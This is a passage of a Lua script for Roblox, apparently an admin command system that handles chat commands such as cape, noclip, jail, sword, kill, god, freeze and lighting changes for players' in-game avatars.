  411. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  412. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  413. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  414. if BrickColor.new(teststr) ~= nil then str = teststr end
  415. end
  416. for i, v in pairs(plrz) do
  417. coroutine.resume(coroutine.create(function()
  418. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  419. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  420. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  421. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  422. local torso = plr.Character.Torso
  423. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  424. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  425. p.Size = Vector3.new(.2,.2,.2)
  426. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  427. local motor1 = Instance.new("Motor", p)
  428. motor1.Part0 = p
  429. motor1.Part1 = torso
  430. motor1.MaxVelocity = .01
  431. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  432. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  433. local wave = false
  434. repeat wait(1/44)
  435. local ang = 0.1
  436. local oldmag = torso.Velocity.magnitude
  437. local mv = .002
  438. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  439. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  440. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  441. motor1.DesiredAngle = -ang
  442. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  443. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  444. if torso.Velocity.magnitude < .1 then wait(.1) end
  445. until not p or p.Parent ~= torso.Parent
  446. script:Destroy()
  447. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  448. end
  449. end))
  450. end
  451. end
  452.  
  453. if msg:lower():sub(1,7) == "uncape " then
  454. local plrz = GetPlr(plr, msg:lower():sub(8))
  455. for i, v in pairs(plrz) do
  456. coroutine.resume(coroutine.create(function()
  457. if v and v:findFirstChild("PlayerGui") and v.Character then
  458. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  459. end
  460. end))
  461. end
  462. end
  463.  
  464. if msg:lower():sub(1,7) == "noclip " then
  465. local plrz = GetPlr(plr, msg:lower():sub(8))
  466. for i, v in pairs(plrz) do
  467. coroutine.resume(coroutine.create(function()
  468. if v and v:findFirstChild("PlayerGui") then
  469. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  470. cl.Parent = v.PlayerGui cl.Disabled = false
  471. end
  472. end))
  473. end
  474. end
  475.  
  476. if msg:lower():sub(1,5) == "clip " then
  477. local plrz = GetPlr(plr, msg:lower():sub(6))
  478. for i, v in pairs(plrz) do
  479. coroutine.resume(coroutine.create(function()
  480. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  481. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  482. v.Character.Torso.Anchored = false
  483. wait(.1) v.Character.Humanoid.PlatformStand = false
  484. end
  485. end))
  486. end
  487. end
  488.  
  489. if msg:lower():sub(1,5) == "jail " then
  490. local plrz = GetPlr(plr, msg:lower():sub(6))
  491. for i, v in pairs(plrz) do
  492. coroutine.resume(coroutine.create(function()
  493. if v and v.Character and v.Character:findFirstChild("Torso") then
  494. local vname = v.Name
  495. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  496. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  497. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  498. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  499. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  500. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  501. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  502. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  503. end)
  504. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  505. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  506. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  507. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  508. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  509. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  510. local msh2 = msh:Clone() msh2.Parent = back
  511. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  512. local msh4 = msh3:Clone() msh4.Parent = left
  513. v.Character.Torso.CFrame = cf
  514. end
  515. end))
  516. end
  517. end
  518.  
  519. if msg:lower():sub(1,7) == "unjail " then
  520. local plrz = GetPlr(plr, msg:lower():sub(8))
  521. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  522. end
  523.  
  524. if msg:lower():sub(1,11) == "starttools " then
  525. local plrz = GetPlr(plr, msg:lower():sub(12))
  526. for i, v in pairs(plrz) do
  527. coroutine.resume(coroutine.create(function()
  528. if v and v:findFirstChild("Backpack") then
  529. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  530. end
  531. end))
  532. end
  533. end
  534.  
  535. if msg:lower():sub(1,6) == "sword " then
  536. local plrz = GetPlr(plr, msg:lower():sub(7))
  537. for i, v in pairs(plrz) do
  538. coroutine.resume(coroutine.create(function()
  539. if v and v:findFirstChild("Backpack") then
  540. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  541. sword.GripForward = Vector3.new(-1,0,0)
  542. sword.GripPos = Vector3.new(0,0,-1.5)
  543. sword.GripRight = Vector3.new(0,1,0)
  544. sword.GripUp = Vector3.new(0,0,1)
  545. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  546. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  547. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  548. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  549. local Damage = 15
  550. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  551. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  552. SlashSound.Volume = 1
  553. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  554. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  555. LungeSound.Volume = 1
  556. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  557. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  558. UnsheathSound.Volume = 1
  559. local last = 0
  560. script.Parent.Handle.Touched:connect(function(hit)
  561. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  562. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  563. hit.Parent.Humanoid:TakeDamage(Damage)
  564. end
  565. end)
  566. script.Parent.Activated:connect(function()
  567. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  568. script.Parent.Enabled = false
  569. local tick = game:service("RunService").Stepped:wait()
  570. if tick - last <= .2 then
  571. LungeSound:play()
  572. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  573. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  574. wait(.2)
  575. script.Parent.GripForward = Vector3.new(0,0,1)
  576. script.Parent.GripRight = Vector3.new(0,-1,0)
  577. script.Parent.GripUp = Vector3.new(-1,0,0)
  578. wait(.3)
  579. frc:Destroy() wait(.5)
  580. script.Parent.GripForward = Vector3.new(-1,0,0)
  581. script.Parent.GripRight = Vector3.new(0,1,0)
  582. script.Parent.GripUp = Vector3.new(0,0,1)
  583. else
  584. SlashSound:play()
  585. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  586. end
  587. last = tick
  588. script.Parent.Enabled = true
  589. end)
  590. script.Parent.Equipped:connect(function(mouse)
  591. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  592. UnsheathSound:play()
  593. script.Parent.Enabled = true
  594. if not mouse then return end
  595. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  596. end)]] cl.Disabled = false
  597. end
  598. end))
  599. end
  600. end
  601.  
  602. if msg:lower():sub(1,6) == "clone " then
  603. local plrz = GetPlr(plr, msg:lower():sub(7))
  604. for i, v in pairs(plrz) do
  605. coroutine.resume(coroutine.create(function()
  606. if v and v.Character then
  607. v.Character.Archivable = true
  608. local cl = v.Character:Clone()
  609. table.insert(objects,cl)
  610. cl.Parent = game.Workspace
  611. cl:MoveTo(v.Character:GetModelCFrame().p)
  612. cl:MakeJoints()
  613. v.Character.Archivable = false
  614. end
  615. end))
  616. end
  617. end
  618.  
  619. if msg:lower():sub(1,8) == "control " then
  620. local plrz = GetPlr(plr, msg:lower():sub(9))
  621. for i, v in pairs(plrz) do
  622. coroutine.resume(coroutine.create(function()
  623. if v and v.Character then
  624. v.Character.Humanoid.PlatformStand = true
  625. local w = Instance.new("Weld", plr.Character.Torso )
  626. w.Part0 = plr.Character.Torso
  627. w.Part1 = v.Character.Torso
  628. local w2 = Instance.new("Weld", plr.Character.Head)
  629. w2.Part0 = plr.Character.Head
  630. w2.Part1 = v.Character.Head
  631. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  632. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  633. w3.Part1 = v.Character:findFirstChild("Right Arm")
  634. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  635. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  636. w4.Part1 = v.Character:findFirstChild("Left Arm")
  637. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  638. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  639. w5.Part1 = v.Character:findFirstChild("Right Leg")
  640. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  641. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  642. w6.Part1 = v.Character:findFirstChild("Left Leg")
  643. plr.Character.Head.face:Destroy()
  644. for i, p in pairs(v.Character:children()) do
  645. if p:IsA("BasePart") then
  646. p.CanCollide = false
  647. end
  648. end
  649. for i, p in pairs(plr.Character:children()) do
  650. if p:IsA("BasePart") then
  651. p.Transparency = 1
  652. elseif p:IsA("Hat") then
  653. p:Destroy()
  654. end
  655. end
  656. v.Character.Parent = plr.Character
  657. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  658. end
  659. end))
  660. end
  661. end
  662.  
  663. if msg:lower():sub(1,5) == "kill " then
  664. local plrz = GetPlr(plr, msg:lower():sub(6))
  665. for i, v in pairs(plrz) do
  666. coroutine.resume(coroutine.create(function()
  667. if v and v.Character then v.Character:BreakJoints() end
  668. end))
  669. end
  670. end
  671.  
  672. if msg:lower():sub(1,8) == "respawn " then
  673. local plrz = GetPlr(plr, msg:lower():sub(9))
  674. for i, v in pairs(plrz) do
  675. coroutine.resume(coroutine.create(function()
  676. if v and v.Character then v:LoadCharacter() end
  677. end))
  678. end
  679. end
  680.  
  681. if msg:lower():sub(1,5) == "trip " then
  682. local plrz = GetPlr(plr, msg:lower():sub(6))
  683. for i, v in pairs(plrz) do
  684. coroutine.resume(coroutine.create(function()
  685. if v and v.Character and v.Character:findFirstChild("Torso") then
  686. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  687. end
  688. end))
  689. end
  690. end
  691.  
  692. if msg:lower():sub(1,5) == "stun " then
  693. local plrz = GetPlr(plr, msg:lower():sub(6))
  694. for i, v in pairs(plrz) do
  695. coroutine.resume(coroutine.create(function()
  696. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  697. v.Character.Humanoid.PlatformStand = true
  698. end
  699. end))
  700. end
  701. end
  702.  
  703. if msg:lower():sub(1,7) == "unstun " then
  704. local plrz = GetPlr(plr, msg:lower():sub(8))
  705. for i, v in pairs(plrz) do
  706. coroutine.resume(coroutine.create(function()
  707. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  708. v.Character.Humanoid.PlatformStand = false
  709. end
  710. end))
  711. end
  712. end
  713.  
  714. if msg:lower():sub(1,5) == "jump " then
  715. local plrz = GetPlr(plr, msg:lower():sub(6))
  716. for i, v in pairs(plrz) do
  717. coroutine.resume(coroutine.create(function()
  718. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  719. v.Character.Humanoid.Jump = true
  720. end
  721. end))
  722. end
  723. end
  724.  
  725. if msg:lower():sub(1,4) == "sit " then
  726. local plrz = GetPlr(plr, msg:lower():sub(5))
  727. for i, v in pairs(plrz) do
  728. coroutine.resume(coroutine.create(function()
  729. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  730. v.Character.Humanoid.Sit = true
  731. end
  732. end))
  733. end
  734. end
  735.  
  736. if msg:lower():sub(1,10) == "invisible " then
  737. local plrz = GetPlr(plr, msg:lower():sub(11))
  738. for i, v in pairs(plrz) do
  739. coroutine.resume(coroutine.create(function()
  740. if v and v.Character then
  741. for a, obj in pairs(v.Character:children()) do
  742. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  743. end
  744. end
  745. end))
  746. end
  747. end
  748.  
  749. if msg:lower():sub(1,8) == "visible " then
  750. local plrz = GetPlr(plr, msg:lower():sub(9))
  751. for i, v in pairs(plrz) do
  752. coroutine.resume(coroutine.create(function()
  753. if v and v.Character then
  754. for a, obj in pairs(v.Character:children()) do
  755. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  756. end
  757. end
  758. end))
  759. end
  760. end
  761.  
  762. if msg:lower():sub(1,5) == "lock " then
  763. local plrz = GetPlr(plr, msg:lower():sub(6))
  764. for i, v in pairs(plrz) do
  765. coroutine.resume(coroutine.create(function()
  766. if v and v.Character then
  767. for a, obj in pairs(v.Character:children()) do
  768. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  769. end
  770. end
  771. end))
  772. end
  773. end
  774.  
  775. if msg:lower():sub(1,7) == "unlock " then
  776. local plrz = GetPlr(plr, msg:lower():sub(8))
  777. for i, v in pairs(plrz) do
  778. coroutine.resume(coroutine.create(function()
  779. if v and v.Character then
  780. for a, obj in pairs(v.Character:children()) do
  781. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  782. end
  783. end
  784. end))
  785. end
  786. end
  787.  
  788. if msg:lower():sub(1,8) == "explode " then
  789. local plrz = GetPlr(plr, msg:lower():sub(9))
  790. for i, v in pairs(plrz) do
  791. coroutine.resume(coroutine.create(function()
  792. if v and v.Character and v.Character:findFirstChild("Torso") then
  793. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  794. end
  795. end))
  796. end
  797. end
  798.  
  799. if msg:lower():sub(1,4) == "age " then
  800. local plrz = GetPlr(plr, msg:lower():sub(5))
  801. for i, v in pairs(plrz) do
  802. coroutine.resume(coroutine.create(function()
  803. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  804. end))
  805. end
  806. end
  807.  
  808. if msg:lower():sub(1,5) == "fire " then
  809. local plrz = GetPlr(plr, msg:lower():sub(6))
  810. for i, v in pairs(plrz) do
  811. coroutine.resume(coroutine.create(function()
  812. if v and v.Character and v.Character:findFirstChild("Torso") then
  813. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  814. end
  815. end))
  816. end
  817. end
  818.  
  819. if msg:lower():sub(1,7) == "unfire " then
  820. local plrz = GetPlr(plr, msg:lower():sub(8))
  821. for i, v in pairs(plrz) do
  822. coroutine.resume(coroutine.create(function()
  823. if v and v.Character and v.Character:findFirstChild("Torso") then
  824. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  825. end
  826. end))
  827. end
  828. end
  829.  
  830. if msg:lower():sub(1,6) == "smoke " then
  831. local plrz = GetPlr(plr, msg:lower():sub(7))
  832. for i, v in pairs(plrz) do
  833. coroutine.resume(coroutine.create(function()
  834. if v and v.Character and v.Character:findFirstChild("Torso") then
  835. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  836. end
  837. end))
  838. end
  839. end
  840.  
  841. if msg:lower():sub(1,8) == "unsmoke " then
  842. local plrz = GetPlr(plr, msg:lower():sub(9))
  843. for i, v in pairs(plrz) do
  844. coroutine.resume(coroutine.create(function()
  845. if v and v.Character and v.Character:findFirstChild("Torso") then
  846. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  847. end
  848. end))
  849. end
  850. end
  851.  
  852. if msg:lower():sub(1,9) == "sparkles " then
  853. local plrz = GetPlr(plr, msg:lower():sub(10))
  854. for i, v in pairs(plrz) do
  855. coroutine.resume(coroutine.create(function()
  856. if v and v.Character and v.Character:findFirstChild("Torso") then
  857. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  858. end
  859. end))
  860. end
  861. end
  862.  
  863. if msg:lower():sub(1,11) == "unsparkles " then
  864. local plrz = GetPlr(plr, msg:lower():sub(12))
  865. for i, v in pairs(plrz) do
  866. coroutine.resume(coroutine.create(function()
  867. if v and v.Character and v.Character:findFirstChild("Torso") then
  868. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  869. end
  870. end))
  871. end
  872. end
  873.  
  874. if msg:lower():sub(1,3) == "ff " then
  875. local plrz = GetPlr(plr, msg:lower():sub(4))
  876. for i, v in pairs(plrz) do
  877. coroutine.resume(coroutine.create(function()
  878. if v and v.Character then Instance.new("ForceField", v.Character) end
  879. end))
  880. end
  881. end
  882.  
  883. if msg:lower():sub(1,5) == "unff " then
  884. local plrz = GetPlr(plr, msg:lower():sub(6))
  885. for i, v in pairs(plrz) do
  886. coroutine.resume(coroutine.create(function()
  887. if v and v.Character then
  888. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  889. end
  890. end))
  891. end
  892. end
  893.  
  894. if msg:lower():sub(1,7) == "punish " then
  895. local plrz = GetPlr(plr, msg:lower():sub(8))
  896. for i, v in pairs(plrz) do
  897. coroutine.resume(coroutine.create(function()
  898. if v and v.Character then
  899. v.Character.Parent = game:service("Lighting")
  900. end
  901. end))
  902. end
  903. end
  904.  
  905. if msg:lower():sub(1,9) == "unpunish " then
  906. local plrz = GetPlr(plr, msg:lower():sub(10))
  907. for i, v in pairs(plrz) do
  908. coroutine.resume(coroutine.create(function()
  909. if v and v.Character then
  910. v.Character.Parent = game:service("Workspace")
  911. v.Character:MakeJoints()
  912. end
  913. end))
  914. end
  915. end
  916.  
  917. if msg:lower():sub(1,7) == "freeze " then
  918. local plrz = GetPlr(plr, msg:lower():sub(8))
  919. for i, v in pairs(plrz) do
  920. coroutine.resume(coroutine.create(function()
  921. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  922. for a, obj in pairs(v.Character:children()) do
  923. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  924. end
  925. end
  926. end))
  927. end
  928. end
  929.  
  930. if msg:lower():sub(1,5) == "thaw " then
  931. local plrz = GetPlr(plr, msg:lower():sub(6))
  932. for i, v in pairs(plrz) do
  933. coroutine.resume(coroutine.create(function()
  934. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  935. for a, obj in pairs(v.Character:children()) do
  936. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  937. end
  938. end
  939. end))
  940. end
  941. end
  942.  
  943. if msg:lower():sub(1,5) == "heal " then
  944. local plrz = GetPlr(plr, msg:lower():sub(6))
  945. for i, v in pairs(plrz) do
  946. coroutine.resume(coroutine.create(function()
  947. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  948. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  949. end
  950. end))
  951. end
  952. end
  953.  
  954. if msg:lower():sub(1,4) == "god " then
  955. local plrz = GetPlr(plr, msg:lower():sub(5))
  956. for i, v in pairs(plrz) do
  957. coroutine.resume(coroutine.create(function()
  958. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  959. v.Character.Humanoid.MaxHealth = math.huge
  960. v.Character.Humanoid.Health = 9e9
  961. end
  962. end))
  963. end
  964. end
  965.  
  966. if msg:lower():sub(1,6) == "ungod " then
  967. local plrz = GetPlr(plr, msg:lower():sub(7))
  968. for i, v in pairs(plrz) do
  969. coroutine.resume(coroutine.create(function()
  970. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  971. v.Character.Humanoid.MaxHealth = 100
  972. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  973. end
  974. end))
  975. end
  976. end
  977.  
  978. if msg:lower():sub(1,8) == "ambient " then
  979. local chk1 = msg:lower():sub(9):find(" ") + 8
  980. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  981. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  982. end
  983.  
  984. if msg:lower():sub(1,11) == "brightness " then
  985. game.Lighting.Brightness = msg:sub(12)
  986. end
  987.  
  988. if msg:lower():sub(1,5) == "time " then
  989. game.Lighting.TimeOfDay = msg:sub(6)
  990. end
  991.  
  992. if msg:lower():sub(1,9) == "fogcolor " then
  993. local chk1 = msg:lower():sub(10):find(" ") + 9
  994. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  995. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  996. end
  997.  
  998. if msg:lower():sub(1,7) == "fogend " then
  999. game.Lighting.FogEnd = msg:sub(8)
  1000. end
  1001.  
  1002. if msg:lower():sub(1,9) == "fogstart " then
  1003. game.Lighting.FogStart = msg:sub(10)
  1004. end
  1005.  
  1006. if msg:lower():sub(1,7) == "btools " then
  1007. local plrz = GetPlr(plr, msg:lower():sub(8))
  1008. for i, v in pairs(plrz) do
  1009. coroutine.resume(coroutine.create(function()
  1010. if v and v:findFirstChild("Backpack") then
  1011. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1012. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1013. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1014. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1015. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1016. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1017. local sb
  1018. local hs
  1019. local pdist
  1020.  
  1021. script.Parent.Selected:connect(function(mouse)
  1022. if not mouse then return end
  1023. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1024. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1025. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1026. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1027. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1028. end)
  1029.  
  1030. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1031. end
  1032. end))
  1033. end
  1034. end
  1035.  
  1036. if msg:lower():sub(1,12) == "startergive " then
  1037. local chk1 = msg:lower():sub(13):find(" ") + 12
  1038. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1039. for i, v in pairs(plrz) do
  1040. coroutine.resume(coroutine.create(function()
  1041. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1042. for a, tool in pairs(game.Lighting:children()) do
  1043. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1044. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1045. end
  1046. end
  1047. end
  1048. end))
  1049. end
  1050. end
  1051.  
  1052. if msg:lower():sub(1,5) == "give " then
  1053. local chk1 = msg:lower():sub(6):find(" ") + 5
  1054. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1055. for i, v in pairs(plrz) do
  1056. coroutine.resume(coroutine.create(function()
  1057. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1058. for a, tool in pairs(game.Lighting:children()) do
  1059. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1060. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1061. end
  1062. end
